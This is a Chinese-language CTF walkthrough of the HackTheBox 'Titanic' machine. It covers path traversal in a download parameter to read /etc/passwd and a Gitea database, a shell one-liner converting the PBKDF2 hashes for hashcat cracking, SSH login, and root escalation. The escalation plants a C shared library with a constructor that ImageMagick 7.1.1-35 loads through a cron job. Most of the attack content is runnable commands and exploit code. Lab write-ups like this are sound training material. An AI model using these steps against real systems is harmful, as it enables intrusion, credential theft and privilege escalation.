USER

nmap -T4 -A -v -Pn 10.10.11.55 -oN titanic.txt

80 端口

Book Your Trip 可以提交申请,申请后下载返回 json 文件

第二个包 http://titanic.htb/download?ticket=c554f68b-39e3-40cd-8272-5cdf575ff8e9.json

尝试一下目录穿越

http://titanic.htb/download?ticket=../../../etc/passwd 成功

查看一下子域名,有 dev.titanic.htb

ffuf -w /home/kali/dict/fuzzDicts/subdomainDicts/dic1.txt -u "http://titanic.htb" -H "HOST:FUZZ.titanic.htb" -c -fc 301

发现 gitea 服务

闲逛一下,在http://dev.titanic.htb/developer/docker-config/src/branch/main/gitea/docker-compose.yml下发现了有一个路径 /home/developer/gitea/data:/data

http://dev.titanic.htb/developer/docker-config/src/branch/main/mysql/docker-compose.yml路径下又发现了 mysql 凭证

因为Gitea 通常将其 SQLite 数据库存储在其 data 目录的 gitea/ 子目录中,所以我们可以通过刚刚的目录穿越来配合读取 /home/developer/gitea/data/gitea/gitea.db 这个目录

下载到 gitea.db

打开后发现 developer 和 root 的 passwd hash,同时我们可以看到加密方式是pbkdf2$50000$50

对于 hashcat 来说,这个 passwd 并不是标准格式

https://hashcat.net/wiki/doku.php?id=example_hashes

所以需要一个小命令来转换一下,将转换好的格式输出到 gitea.hashes

sqlite3 gitea.db "select passwd,salt,name from user" | while read data; do digest=$(echo "$data" | cut -d'|' -f1 | xxd -r -p | base64); salt=$(echo "$data" | cut -d'|' -f2 | xxd -r -p | base64); name=$(echo $data | cut -d'|' -f 3); echo "${name}:sha256:50000:${salt}:${digest}"; done | tee gitea.hashes

hashcat 破解到developer 的密码

hashcat -m 10900 -a 0 gitea.hashes /usr/share/wordlists/rockyou.txt --show

用密码成功 ssh 连接到 developer,这里就可以看到 user.txt

ROOT

这里在用 linpeas.sh 没有什么有用的信息

用 pspy 查看进程,监控 cron 或者其他用户的命令

pspy -cpf -i 1000

可以发现每分钟都会执行/opt/scripts/identify_images.sh

同时还有一个 magick,每分钟执行,同时还会加载多个共享库

查看一下identify_images.sh

作用是对 /opt/app/static/assets/images 目录下的所有 .jpg 图像文件进行识别,并将它们的元数据记录到 metadata.log 文件中

对于 ImageMagick 的 7.1.1-35 有漏洞

https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-8rxc-922v-phg8

目录下创建包含 payload 的 libxcb.so.1

作用是执行系统命令将/root/root.txt 保存到/tmp/root.txt

gcc -x c -shared -fPIC -o ./libxcb.so.1 - << EOF
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

__attribute__((constructor)) void init(){
    system("cat /root/root.txt > /tmp/root.txt");
    exit(0);
}
EOF

复制一个 jpg 以保证 Magick 触发

cp entertainment.jpg root.jpg

等到一会儿,cron 执行,就能看到在/tmp 看到 root.txt


"The quieter you become, the more you are able to hear."